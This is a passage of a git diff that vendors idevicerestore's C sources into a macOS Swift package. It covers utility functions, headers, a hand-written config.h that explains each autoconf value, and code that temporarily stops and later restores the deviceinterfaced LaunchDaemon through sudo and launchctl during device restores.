+ printf("\r[");
+ }
+ for (i = 0; i < 50; i++) {
+ if (i < (int)(progress*50.0)) printf("=");
+ else printf(" ");
+ }
+ printf("] %5.1f%% ", progress*100.0);
+ if (progress >= 1) printf("\n");
+ fflush(stdout);
+}
+
+void set_progress(uint32_t tag, double progress)
+{
+ mutex_lock(&prog_mutex);
+ struct progress_info_entry* found = NULL;
+ FOREACH(struct progress_info_entry* e, &progress_info) {
+ if (e->tag == tag) {
+ found = e;
+ break;
+ }
+ } ENDFOREACH
+ if (!found) {
+ mutex_unlock(&prog_mutex);
+ return;
+ }
+ if (progress < 0) progress = 0;
+ if (progress > 1.0) progress = 1.0;
+ found->progress = progress;
+ if ((progress == 0) || (found->progress - found->lastprog >= progress_granularity)) {
+ if (update_progress_func) {
+ update_progress_func((struct progress_info_entry**)(&progress_info)->list, progress_info.capacity);
+ } else {
+ print_progress_bar(found->label, found->progress);
+ }
+ found->lastprog = found->progress;
+ }
+ mutex_unlock(&prog_mutex);
+}
+
+#define GET_RAND(min, max) ((rand() % (max - min)) + min)
+
+char *generate_guid(void)
+{
+ char *guid = (char *) malloc(sizeof(char) * 37);
+ const char *chars = "ABCDEF0123456789";
+ srand(time(NULL));
+ int i = 0;
+
+ for (i = 0; i < 36; i++) {
+ if (i == 8 || i == 13 || i == 18 || i == 23) {
+ guid[i] = '-';
+ continue;
+ } else {
+ guid[i] = chars[GET_RAND(0, 16)];
+ }
+ }
+ guid[36] = '\0';
+ return guid;
+}
+
+int mkdir_with_parents(const char *dir, int mode)
+{
+ if (!dir) return -1;
+ if (__mkdir(dir, mode) == 0) {
+ return 0;
+ } else {
+ if (errno == EEXIST) {
+ return 0;
+ } else if (errno == ENOENT) {
+ // ignore
+ } else {
+ return -1;
+ }
+ }
+ int res;
+ char *parent = strdup(dir);
+ char *parentdir = dirname(parent);
+ if (parentdir && (strcmp(parentdir, ".") != 0) && (strcmp(parentdir, dir) != 0)) {
+ res = mkdir_with_parents(parentdir, mode);
+ } else {
+ res = -1;
+ }
+ free(parent);
+ if (res == 0) {
+ mkdir_with_parents(dir, mode);
+ }
+ return res;
+}
+
+#ifndef HAVE_MKSTEMP
+/* Based on libc's __gen_tempname() from sysdeps/posix/tempname.c
+ Copyright (C) 1991-2018 Free Software Foundation, Inc.
+ With changes from https://stackoverflow.com/a/6036308 and some
+ additional changes. */
+int mkstemp(char *tmpl)
+{
+ static const char letters[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+ int len;
+ char *XXXXXX;
+ static unsigned long long value;
+ unsigned long long random_time_bits;
+ unsigned int count;
+ int fd = -1;
+ int save_errno = errno;
+
+ /* A lower bound on the number of temporary files to attempt to
+ generate. The maximum total number of temporary file names that
+ can exist for a given template is 62**6. It should never be
+ necessary to try all these combinations. Instead if a reasonable
+ number of names is tried (we define reasonable as 62**3) fail to
+ give the system administrator the chance to remove the problems. */
+#define ATTEMPTS_MIN (62 * 62 * 62)
+
+ /* The number of times to attempt to generate a temporary file. To
+ conform to POSIX, this must be no smaller than TMP_MAX. */
+#if ATTEMPTS_MIN < TMP_MAX
+ unsigned int attempts = TMP_MAX;
+#else
+ unsigned int attempts = ATTEMPTS_MIN;
+#endif
+
+ len = strlen (tmpl);
+ if (len < 6 || strcmp (&tmpl[len - 6], "XXXXXX"))
+ {
+ errno = EINVAL;
+ return -1;
+ }
+
+ /* This is where the Xs start. */
+ XXXXXX = &tmpl[len - 6];
+
+ /* Get some more or less random data. */
+#ifdef WIN32
+ {
+ SYSTEMTIME stNow;
+ FILETIME ftNow;
+
+ // get system time
+ GetSystemTime(&stNow);
+ if (!SystemTimeToFileTime(&stNow, &ftNow))
+ {
+ errno = -1;
+ return -1;
+ }
+
+ random_time_bits = (((unsigned long long)ftNow.dwHighDateTime << 32)
+ | (unsigned long long)ftNow.dwLowDateTime);
+ }
+ value += random_time_bits ^ ((unsigned long long)GetCurrentProcessId() << 32 | (unsigned long long)GetCurrentThreadId());
+#else
+ {
+ struct timeval tvNow = {0, 0};
+ gettimeofday(&tvNow, NULL);
+ random_time_bits = (((unsigned long long)tvNow.tv_sec << 32)
+ | (unsigned long long)tvNow.tv_usec);
+ }
+ value += random_time_bits ^ ((unsigned long long)getpid() << 32 | (unsigned long long)(uintptr_t)pthread_self());
+#endif
+
+ for (count = 0; count < attempts; value += 7777, ++count)
+ {
+ unsigned long long v = value;
+
+ /* Fill in the random bits. */
+ XXXXXX[0] = letters[v % 62];
+ v /= 62;
+ XXXXXX[1] = letters[v % 62];
+ v /= 62;
+ XXXXXX[2] = letters[v % 62];
+ v /= 62;
+ XXXXXX[3] = letters[v % 62];
+ v /= 62;
+ XXXXXX[4] = letters[v % 62];
+ v /= 62;
+ XXXXXX[5] = letters[v % 62];
+
+#ifdef WIN32
+ fd = open (tmpl, O_RDWR | O_CREAT | O_EXCL, _S_IREAD | _S_IWRITE);
+#else
+ fd = open (tmpl, O_RDWR | O_CREAT | O_EXCL, S_IRUSR | S_IWUSR);
+#endif
+ if (fd >= 0)
+ {
+ errno = save_errno;
+ return fd;
+ }
+ else if (errno != EEXIST)
+ return -1;
+ }
+
+ /* We got out of the loop because we ran out of combinations to try. */
+ errno = EEXIST;
+ return -1;
+}
+#endif
+
+char *get_temp_filename(const char *prefix)
+{
+ char *result = NULL;
+ char *tmpdir;
+ size_t lt;
+ size_t lp;
+ const char *TMPVARS[] = { "TMPDIR", "TMP", "TEMP", "TEMPDIR", NULL };
+ int i = 0;
+ int fd;
+
+ /* check the prefix parameter */
+ if (!prefix) {
+ prefix = "tmp_";
+ }
+#ifdef WIN32
+ if (strchr(prefix, '/') || strchr(prefix, '\\')) return NULL;
+#else
+ if (strchr(prefix, '/')) return NULL;
+#endif
+
+ while (TMPVARS[i] && ((tmpdir = getenv(TMPVARS[i])) == NULL)) i++;
+ if (!tmpdir || access(tmpdir, W_OK|X_OK) != 0) {
+#ifdef WIN32
+ tmpdir = "C:\\WINDOWS\\TEMP";
+#else
+ tmpdir = P_tmpdir;
+#endif
+ }
+ if (!tmpdir || access(tmpdir, W_OK|X_OK) != 0) {
+ return NULL;
+ }
+
+ lt = strlen(tmpdir);
+ if (lt < 1) {
+ return NULL;
+ }
+ lp = strlen(prefix);
+ result = malloc(lt + lp + 8);
+ memcpy(result, tmpdir, lt);
+#ifdef WIN32
+ if (tmpdir[lt-1] != '/' && tmpdir[lt-1] != '\\') result[lt++] = '\\';
+#else
+ if (tmpdir[lt-1] != '/') result[lt++] = '/';
+#endif
+ strncpy(result + lt, prefix, lp);
+ strcpy(result + lt + lp, "XXXXXX");
+ fd = mkstemp(result);
+ if (fd < 0) {
+ free(result);
+ result = NULL;
+ }
+ close(fd);
+ return result;
+}
+
+void idevicerestore_progress(struct idevicerestore_client_t* client, int step, double progress)
+{
+ if(client && client->progress_cb) {
+ client->progress_cb(step, progress, client->progress_cb_data);
+ } else {
+ // we don't want to be too verbose in regular idevicerestore.
+ if ((step == RESTORE_STEP_UPLOAD_FS) || (step == RESTORE_STEP_VERIFY_FS) || (step == RESTORE_STEP_FLASH_FW) || (step == RESTORE_STEP_UPLOAD_IMG)) {
+ print_progress_bar(NULL, progress);
+ }
+ }
+}
+
+#ifndef HAVE_STRSEP
+char* strsep(char** strp, const char* delim)
+{
+ char *p, *s;
+ if (strp == NULL || *strp == NULL || **strp == '\0') return NULL;
+ s = *strp;
+ p = s + strcspn(s, delim);
+ if (*p != '\0') *p++ = '\0';
+ *strp = p;
+ return s;
+}
+#endif
+
+#ifndef HAVE_REALPATH
+char* realpath(const char *filename, char *resolved_name)
+{
+#ifdef WIN32
+ if (access(filename, F_OK) != 0) {
+ return NULL;
+ }
+ if (GetFullPathName(filename, MAX_PATH, resolved_name, NULL) == 0) {
+ return NULL;
+ }
+ return resolved_name;
+#else
+#error please provide a realpath implementation for this platform
+ return NULL;
+#endif
+}
+#endif
+
+#ifdef WIN32
+#define BS_CC '\b'
+#define CTRL_C_CC 0x03
+#define ESC_CC 0x1B
+#define my_getch _getch
+#else
+#define BS_CC 0x7f
+static int my_getch(void)
+{
+ struct termios oldt, newt;
+ int ch;
+ tcgetattr(STDIN_FILENO, &oldt);
+ newt = oldt;
+ newt.c_lflag &= ~(ICANON | ECHO);
+ tcsetattr(STDIN_FILENO, TCSANOW, &newt);
+ ch = getchar();
+ tcsetattr(STDIN_FILENO, TCSANOW, &oldt);
+ return ch;
+}
+#endif
+
+void get_user_input(char *buf, int maxlen, int secure)
+{
+ int len = 0;
+ int c;
+
+ while ((c = my_getch()) > 0) {
+ if ((c == '\r') || (c == '\n')) {
+ break;
+ } else if (isprint(c)) {
+ if (len < maxlen-1)
+ buf[len++] = c;
+ fputc((secure) ? '*' : c, stdout);
+ } else if (c == BS_CC) {
+ if (len > 0) {
+ fputs("\b \b", stdout);
+ len--;
+ }
+ }
+#ifdef WIN32
+ else if (c == CTRL_C_CC || c == ESC_CC) {
+ c = -1;
+ break;
+ }
+#endif
+ }
+ if (c < 0) {
+ len = 0;
+ }
+ fputs("\n", stdout);
+ buf[len] = 0;
+}
+
+const char* path_get_basename(const char* path)
+{
+#ifdef WIN32
+ const char *p = path + strlen(path);
+ while (p > path) {
+ if ((*p == '/') || (*p == '\\')) {
+ return p+1;
+ }
+ p--;
+ }
+ return p;
+#else
+ const char *p = strrchr(path, '/');
+ return p ? p + 1 : path;
+#endif
+}
diff --git a/sources/MobileRestoreCore/common.h b/sources/MobileRestoreCore/common.h
new file mode 100644
index 00000000..3bb648ae
--- /dev/null
+++ b/sources/MobileRestoreCore/common.h
@@ -0,0 +1,217 @@
+/*
+ * common.h
+ * Misc functions used in idevicerestore
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_COMMON_H
+#define IDEVICERESTORE_COMMON_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <unistd.h>
+
+#include <plist/plist.h>
+#include <libirecovery.h>
+#include <libimobiledevice-glue/thread.h>
+
+#include "idevicerestore.h"
+#include "log.h"
+
+#define _MODE_UNKNOWN 0
+#define _MODE_WTF 1
+#define _MODE_DFU 2
+#define _MODE_RECOVERY 3
+#define _MODE_RESTORE 4
+#define _MODE_NORMAL 5
+#define _MODE_PORTDFU 6
+
+#define MODE_UNKNOWN &idevicerestore_modes[_MODE_UNKNOWN]
+#define MODE_WTF &idevicerestore_modes[_MODE_WTF]
+#define MODE_DFU &idevicerestore_modes[_MODE_DFU]
+#define MODE_RECOVERY &idevicerestore_modes[_MODE_RECOVERY]
+#define MODE_RESTORE &idevicerestore_modes[_MODE_RESTORE]
+#define MODE_NORMAL &idevicerestore_modes[_MODE_NORMAL]
+#define MODE_PORTDFU &idevicerestore_modes[_MODE_PORTDFU]
+
+#define FLAG_QUIT 1
+
+#define CPFM_FLAG_SECURITY_MODE 1 << 0
+#define CPFM_FLAG_PRODUCTION_MODE 1 << 1
+
+#define IBOOT_FLAG_IMAGE4_AWARE 1 << 2
+#define IBOOT_FLAG_EFFECTIVE_SECURITY_MODE 1 << 3
+#define IBOOT_FLAG_EFFECTIVE_PRODUCTION_MODE 1 << 4
+
+#define USER_AGENT_STRING "InetURL/1.0"
+
+struct dfu_client_t;
+struct normal_client_t;
+struct restore_client_t;
+struct recovery_client_t;
+struct ipsw_archive;
+
+typedef struct ipsw_archive* ipsw_archive_t;
+
+struct idevicerestore_mode_t {
+ int index;
+ const char* string;
+};
+
+struct idevicerestore_client_t {
+ int flags;
+ int debug_level;
+ plist_t tss;
+ plist_t tss_localpolicy;
+ plist_t tss_recoveryos_root_ticket;
+ char* tss_url;
+ plist_t version_data;
+ uint64_t ecid;
+ unsigned char* nonce;
+ int nonce_size;
+ int image4supported;
+ plist_t build_manifest;
+ plist_t firmware_preflight_info;
+ plist_t preflight_info;
+ plist_t parameters;
+ char* udid;
+ char* srnm;
+ ipsw_archive_t ipsw;
+ struct dfu_client_t* dfu;
+ struct restore_client_t* restore;
+ struct recovery_client_t* recovery;
+ irecv_device_t device;
+ struct idevicerestore_mode_t* mode;
+ char* version;
+ char* build;
+ char* device_version;
+ char* device_build;
+ int build_major;
+ char* restore_boot_args;
+ char* cache_dir;
+ unsigned char* root_ticket;
+ int root_ticket_len;
+ idevicerestore_progress_cb_t progress_cb;
+ void* progress_cb_data;
+ irecv_device_event_context_t irecv_e_ctx;
+ void* idevice_e_ctx;
+ mutex_t device_event_mutex;
+ cond_t device_event_cond;
+ int ignore_device_add_events;
+ plist_t macos_variant;
+ plist_t recovery_variant;
+ char* restore_variant;
+ char* filesystem;
+ int delete_fs;
+ int async_err;
+};
+
+extern int global_quit_flag;
+
+extern struct idevicerestore_mode_t idevicerestore_modes[];
+
+extern int idevicerestore_debug;
+
+void set_banner_funcs(void (*showfunc)(const char*), void (*hidefunc)(void));
+void show_banner(const char* text);
+void hide_banner();
+
+struct progress_info_entry {
+ uint32_t tag;
+ char* label;
+ double progress;
+ int lastprog;
+};
+void set_update_progress_func(void (*func)(struct progress_info_entry** list, int count));
+void set_progress_granularity(double granularity);
+uint32_t progress_get_next_tag(void);
+void progress_reset_tag(void);
+void register_progress(uint32_t tag, const char* label);
+void set_progress(uint32_t tag, double progress);
+void finalize_progress(uint32_t tag);
+void print_progress_bar(const char* prefix, double progress);
+
+struct tuple {
+ int idx;
+ int len;
+ int plen;
+};
+
+int process_text_lines(const char* text, int maxwidth, struct tuple** lines_out, int* maxlen_out);
+
+void set_prompt_func(int (*func)(const char* title, const char* text));
+int prompt_user(const char* title, const char* message);
+
+int read_file(const char* filename, void** data, size_t* size);
+int write_file(const char* filename, const void* data, size_t size);
+
+char *generate_guid(void);
+
+#ifdef WIN32
+#include <windows.h>
+#include <unistd.h>
+#define __mkdir(path, mode) mkdir(path)
+#ifndef sleep
+#define sleep(x) Sleep(x*1000)
+#endif
+#define __usleep(x) Sleep(x/1000)
+#else
+#include <sys/stat.h>
+#define __mkdir(path, mode) mkdir(path, mode)
+#define __usleep(x) usleep(x)
+#endif
+
+#ifndef S_IFLNK
+#define S_IFLNK 0120000
+#endif
+#ifndef S_ISLNK
+#define S_ISLNK(m) (((m) & S_IFMT) == S_IFLNK)
+#endif
+
+int mkdir_with_parents(const char *dir, int mode);
+
+char *get_temp_filename(const char *prefix);
+
+void idevicerestore_progress(struct idevicerestore_client_t* client, int step, double progress);
+
+#ifndef HAVE_STRSEP
+char* strsep(char** strp, const char* delim);
+#endif
+
+#ifndef HAVE_REALPATH
+char* realpath(const char *filename, char *resolved_name);
+#endif
+
+void get_user_input(char *buf, int maxlen, int secure);
+
+const char* path_get_basename(const char* path);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/config.h b/sources/MobileRestoreCore/config.h
new file mode 100644
index 00000000..f7b96237
--- /dev/null
+++ b/sources/MobileRestoreCore/config.h
@@ -0,0 +1,127 @@
+/*
+ * config.h
+ *
+ * Hand-written stand-in for the config.h that idevicerestore's autotools build
+ * generates. It is NOT an upstream file: everything else under this target is
+ * upstream's own source, and this is the one file SwiftPM has to supply in
+ * autoconf's place. It lives beside the .c files rather than in include/ for
+ * the same reason MobileRecoveryCore's does — include/ is this target's public
+ * header directory and becomes the generated module's umbrella, and no
+ * dependent should inherit a PACKAGE_VERSION it did not ask for. Two targets
+ * in this package now carry a config.h, and if both were public they would
+ * collide in any translation unit that imported both modules.
+ * `.headerSearchPath(".")` plus `.define("HAVE_CONFIG_H")` is what reaches it.
+ *
+ * Every value below is read off upstream's configure.ac rather than guessed:
+ *
+ * - PKG_CHECK_MODULES only decides whether to build at all; it defines
+ * nothing. libirecovery is MobileRecoveryCore, and libimobiledevice, its
+ * glue, libplist, libusbmuxd and libtatsu come from the
+ * AppleMobileDeviceLibrary xcframeworks. zlib and libcurl are the system
+ * ones in /usr/lib. libzip is the exception — see zip.h.
+ * - AC_CHECK_FUNCS([strsep strcspn mkstemp realpath]) — all four are in libc
+ * on macOS, so all four are defined. That is also what keeps common.c's
+ * own strsep()/realpath() fallbacks compiled out.
+ * - The `darwin*` arm of the host_os case defines _DARWIN_BETTER_REALPATH.
+ * - The four AC_CACHE_CHECK compile tests all pass against the
+ * libimobiledevice 1.4.0 headers this package links: IDEVICE_E_TIMEOUT is
+ * in libimobiledevice.h, RESTORE_E_RECEIVE_TIMEOUT in restore.h, `enum
+ * idevice_connection_type` in libimobiledevice.h, and reverse_proxy.h
+ * declares reverse_proxy_client_create_with_port.
+ * - --with-limera1n defaults to yes, so HAVE_LIMERA1N is defined and
+ * limera1n.c is part of the target, exactly as in an upstream build.
+ * - AC_CHECK_HEADER(endian.h) fails on macOS, which is why configure would
+ * define __LITTLE_ENDIAN/__BIG_ENDIAN/__BYTE_ORDER itself. Those are NOT
+ * defined here: endianness.h already supplies the identical values behind
+ * its own #ifndef guards, and clang defines __LITTLE_ENDIAN__ on every
+ * Apple target, so __BYTE_ORDER resolves the same way. Defining them here
+ * would only risk a clash with Darwin's <machine/endian.h>.
+ * - AC_SYS_LARGEFILE defines nothing: off_t is already 64-bit on macOS.
+ * - WIN32, LT_OBJDIR and the Windows/mingw fallbacks stay undefined.
+ *
+ * Two entries are this package's rather than autoconf's, both marked below:
+ * IDEVICERESTORE_NOMAIN and HAVE_LOCALTIME_R.
+ */
+
+#ifndef VPHONE_MOBILERESTORECORE_CONFIG_H
+#define VPHONE_MOBILERESTORECORE_CONFIG_H
+
+/*
+ * Version. configure gets this from git-version-gen, which needs either a git
+ * checkout or a .tarball-version file; the upstream snapshot vendored here is
+ * a source export with neither, so ./configure would have stopped with
+ * "PACKAGE_VERSION is not defined". 1.1.0 is the series this snapshot belongs
+ * to — it is the version in upstream's own README sample output, and the
+ * generated string would have been "1.1.0-git-<commit>". PACKAGE_VERSION
+ * reaches exactly two places: the startup banner, and the curl User-Agent in
+ * download.c ("InetURL/1.0 idevicerestore/1.1.0").
+ */
+#define PACKAGE "idevicerestore"
+#define PACKAGE_NAME "idevicerestore"
+#define PACKAGE_TARNAME "idevicerestore"
+#define PACKAGE_VERSION "1.1.0"
+#define PACKAGE_STRING "idevicerestore 1.1.0"
+#define VERSION "1.1.0"
+#define PACKAGE_BUGREPORT "https://github.com/libimobiledevice/idevicerestore/issues"
+#define PACKAGE_URL "https://libimobiledevice.org"
+
+/* AC_CHECK_FUNCS([strsep strcspn mkstemp realpath]) */
+#define HAVE_STRSEP 1
+#define HAVE_STRCSPN 1
+#define HAVE_MKSTEMP 1
+#define HAVE_REALPATH 1
+
+/* case ${host_os} in darwin*) */
+#define _DARWIN_BETTER_REALPATH 1
+
+/* The four AC_CACHE_CHECK compile tests, against libimobiledevice 1.4.0. */
+#define HAVE_IDEVICE_E_TIMEOUT 1
+#define HAVE_RESTORE_E_RECEIVE_TIMEOUT 1
+#define HAVE_ENUM_IDEVICE_CONNECTION_TYPE 1
+#define HAVE_REVERSE_PROXY 1
+
+/* AC_ARG_WITH([limera1n]) defaults to yes. */
+#define HAVE_LIMERA1N 1
+
+/* Headers: the set autoheader always emits, all of which exist on macOS. */
+#define STDC_HEADERS 1
+#define HAVE_DLFCN_H 1
+#define HAVE_INTTYPES_H 1
+#define HAVE_STDINT_H 1
+#define HAVE_STDIO_H 1
+#define HAVE_STDLIB_H 1
+#define HAVE_STRINGS_H 1
+#define HAVE_STRING_H 1
+#define HAVE_SYS_STAT_H 1
+#define HAVE_SYS_TYPES_H 1
+#define HAVE_UNISTD_H 1
+
+/*
+ * NOT autoconf's. idevicerestore is a program upstream and a library here, so
+ * src/idevicerestore.c's main(), its getopt table, its usage text and its
+ * SIGINT handler are all excluded. Everything the library needs is above that
+ * guard: idevicerestore_client_new/_free, the idevicerestore_set_* setters and
+ * idevicerestore_start. vphone_restore_bridge.c is what stands in for main().
+ */
+#define IDEVICERESTORE_NOMAIN 1
+
+/*
+ * NOT autoconf's either — configure.ac never tests for localtime_r, so an
+ * upstream macOS build leaves this undefined and log.c calls localtime(3).
+ * That returns a pointer into a single process-wide struct tm. In a program
+ * that is fine; in a library linked into a GUI app whose own code may be
+ * calling localtime() on another thread, it is a data race on every log line.
+ * localtime_r is in libc on macOS, so define it and let log.c use the
+ * reentrant call.
+ */
+#define HAVE_LOCALTIME_R 1
+
+/*
+ * Deliberately left undefined, to match a macOS ./configure with the defaults:
+ * WIN32, __MINGW_USE_VC2005_COMPAT (not Windows)
+ * __LITTLE_ENDIAN, __BIG_ENDIAN, __BYTE_ORDER (endianness.h covers it)
+ * _FILE_OFFSET_BITS, _LARGE_FILES, _TIME_BITS (off_t is 64-bit)
+ * LT_OBJDIR (no libtool)
+ */
+
+#endif /* VPHONE_MOBILERESTORECORE_CONFIG_H */
diff --git a/sources/MobileRestoreCore/deviceinterfaced.c b/sources/MobileRestoreCore/deviceinterfaced.c
new file mode 100644
index 00000000..345a59a3
--- /dev/null
+++ b/sources/MobileRestoreCore/deviceinterfaced.c
@@ -0,0 +1,295 @@
+/*
+ * deviceinterfaced.c
+ * Control deviceinterfaced while accessing restore devices on macOS
+ *
+ * Copyright (c) 2026 libimobiledevice contributors. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <errno.h>
+#include <fcntl.h>
+#include <spawn.h>
+#include <stdatomic.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include <libimobiledevice-glue/thread.h>
+
+#include "deviceinterfaced.h"
+#include "log.h"
+
+#define DEVICEINTERFACED_LABEL "com.apple.deviceinterfaced"
+#define DEVICEINTERFACED_TARGET "system/" DEVICEINTERFACED_LABEL
+#define DEVICEINTERFACED_PLIST "/Library/Apple/System/Library/PrivateFrameworks/DeviceInterface.framework/Support/com.apple.deviceinterfaced.plist"
+#define SUDO_PATH "/usr/bin/sudo"
+#define LAUNCHCTL_PATH "/bin/launchctl"
+#define SUDO_PROMPT "[sudo] password to manage " DEVICEINTERFACED_LABEL ": "
+/* "sudo" "-p" prompt "--" "/bin/launchctl" + subcommand args (max observed: 3) + NULL */
+#define LAUNCHCTL_ARGV_MAX 10
+
+extern char **environ;
+
+enum deviceinterfaced_control_state {
+ DEVICEINTERFACED_INACTIVE,
+ DEVICEINTERFACED_BOOTED_OUT,
+ DEVICEINTERFACED_KILLING,
+ DEVICEINTERFACED_NEEDS_KICKSTART
+};
+
+static int cleanup_registered = 0;
+static enum deviceinterfaced_control_state control_state = DEVICEINTERFACED_INACTIVE;
+static atomic_bool stop_killer;
+static THREAD_T killer_thread = THREAD_T_NULL;
+
+/*
+ * Runs "launchctl <args...>". Read-only queries (e.g. "print") never need
+ * elevated privileges and are run directly. State-changing subcommands
+ * ("bootout", "bootstrap", "kickstart", "kill") act on a system-domain
+ * LaunchDaemon and require root, so they are wrapped with "sudo" instead of
+ * requiring the whole idevicerestore process to run as root. sudo prompts
+ * for the password on the controlling terminal (/dev/tty) directly, so
+ * redirecting stdout/stderr below does not hide the prompt; it is only
+ * suppressed here to keep launchctl's own (uninteresting) output quiet.
+ * Any sudo diagnostic (e.g. "a password is required") is left visible on
+ * stderr for privileged calls so the user can see why it failed.
+ */
+static int launchctl_run(char *const args[], int privileged)
+{
+ posix_spawn_file_actions_t actions;
+ char *argv[LAUNCHCTL_ARGV_MAX];
+ const char *program;
+ pid_t pid;
+ pid_t waited;
+ int error;
+ int status;
+ int argc = 0;
+ int i;
+
+ if (privileged) {
+ argv[argc++] = SUDO_PATH;
+ argv[argc++] = "-p";
+ argv[argc++] = SUDO_PROMPT;
+ argv[argc++] = "--";
+ argv[argc++] = LAUNCHCTL_PATH;
+ program = SUDO_PATH;
+ } else {
+ argv[argc++] = LAUNCHCTL_PATH;
+ program = LAUNCHCTL_PATH;
+ }
+ for (i = 0; args[i] != NULL; i++) {
+ if (argc >= LAUNCHCTL_ARGV_MAX - 1) {
+ return -ENAMETOOLONG;
+ }
+ argv[argc++] = args[i];
+ }
+ argv[argc] = NULL;
+
+ error = posix_spawn_file_actions_init(&actions);
+ if (error != 0) {
+ return -error;
+ }
+ error = posix_spawn_file_actions_addopen(&actions, STDOUT_FILENO, "/dev/null", O_WRONLY, 0);
+ if (error == 0 && !privileged) {
+ error = posix_spawn_file_actions_addopen(&actions, STDERR_FILENO, "/dev/null", O_WRONLY, 0);
+ }
+ if (error != 0) {
+ posix_spawn_file_actions_destroy(&actions);
+ return -error;
+ }
+
+ error = posix_spawn(&pid, program, &actions, NULL, argv, environ);
+ posix_spawn_file_actions_destroy(&actions);
+ if (error != 0) {
+ return -error;
+ }
+
+ do {
+ waited = waitpid(pid, &status, 0);
+ } while (waited < 0 && errno == EINTR);
+ if (waited < 0) {
+ return -errno;
+ }
+
+ if (!WIFEXITED(status)) {
+ return -EIO;
+ }
+ return WEXITSTATUS(status);
+}
+
+static void log_launchctl_failure(const char *operation, int status)
+{
+ if (status < 0) {
+ logger(LL_ERROR, "Could not %s " DEVICEINTERFACED_LABEL ": %s.\n", operation, strerror(-status));
+ } else {
+ logger(LL_ERROR, "Could not %s " DEVICEINTERFACED_LABEL ": launchctl exited with status %d.\n", operation, status);
+ }
+}
+
+static int service_is_loaded(int *loaded)
+{
+ char *const argv[] = {
+ "print", DEVICEINTERFACED_TARGET, NULL
+ };
+ int status = launchctl_run(argv, 0);
+
+ if (status < 0) {
+ return status;
+ }
+ *loaded = (status == 0);
+ return 0;
+}
+
+static int wait_for_service_to_unload(void)
+{
+ int i;
+ int loaded;
+
+ for (i = 0; i < 100; i++) {
+ int status = service_is_loaded(&loaded);
+ if (status < 0) {
+ return status;
+ }
+ if (!loaded) {
+ return 0;
+ }
+ usleep(50000);
+ }
+ return -ETIMEDOUT;
+}
+
+static void *kill_service(void *data)
+{
+ char *const argv[] = {
+ "kill", "SIGKILL", DEVICEINTERFACED_TARGET, NULL
+ };
+
+ (void)data;
+ while (!atomic_load_explicit(&stop_killer, memory_order_relaxed)) {
+ launchctl_run(argv, 1);
+ usleep(100000);
+ }
+ return NULL;
+}
+
+void deviceinterfaced_control_stop(void)
+{
+ int status;
+
+ if (control_state == DEVICEINTERFACED_KILLING) {
+ atomic_store_explicit(&stop_killer, 1, memory_order_relaxed);
+ status = thread_join(killer_thread);
+ if (status != 0) {
+ logger(LL_ERROR, "Could not stop " DEVICEINTERFACED_LABEL " termination loop: %s.\n", strerror(status));
+ return;
+ }
+ killer_thread = THREAD_T_NULL;
+ control_state = DEVICEINTERFACED_NEEDS_KICKSTART;
+ }
+
+ if (control_state == DEVICEINTERFACED_BOOTED_OUT) {
+ char *const bootstrap_argv[] = {
+ "bootstrap", "system", DEVICEINTERFACED_PLIST, NULL
+ };
+ status = launchctl_run(bootstrap_argv, 1);
+ if (status != 0) {
+ log_launchctl_failure("bootstrap", status);
+ logger(LL_ERROR, "Run 'sudo launchctl bootstrap system " DEVICEINTERFACED_PLIST "' to load it.\n");
+ return;
+ }
+ control_state = DEVICEINTERFACED_NEEDS_KICKSTART;
+ }
+
+ if (control_state == DEVICEINTERFACED_NEEDS_KICKSTART) {
+ char *const kickstart_argv[] = {
+ "kickstart", DEVICEINTERFACED_TARGET, NULL
+ };
+ status = launchctl_run(kickstart_argv, 1);
+ if (status != 0) {
+ log_launchctl_failure("kickstart", status);
+ logger(LL_ERROR, "Run 'sudo launchctl kickstart " DEVICEINTERFACED_TARGET "' to start it.\n");
+ return;
+ }
+ control_state = DEVICEINTERFACED_INACTIVE;
+ logger(LL_INFO, "Restored " DEVICEINTERFACED_LABEL ".\n");
+ }
+}
+
+int deviceinterfaced_control_start(void)
+{
+ char *const bootout_argv[] = {
+ "bootout", DEVICEINTERFACED_TARGET, NULL
+ };
+ int loaded;
+ int status;
+
+ if (control_state != DEVICEINTERFACED_INACTIVE) {
+ return 0;
+ }
+
+ if (!cleanup_registered) {
+ if (atexit(deviceinterfaced_control_stop) != 0) {
+ logger(LL_ERROR, "Could not register " DEVICEINTERFACED_LABEL " cleanup.\n");
+ return -1;
+ }
+ cleanup_registered = 1;
+ }
+
+ status = service_is_loaded(&loaded);
+ if (status < 0) {
+ log_launchctl_failure("query", status);
+ return -1;
+ }
+ if (!loaded) {
+ logger(LL_INFO, DEVICEINTERFACED_LABEL " is not loaded.\n");
+ return 0;
+ }
+
+ status = launchctl_run(bootout_argv, 1);
+ if (status == 0) {
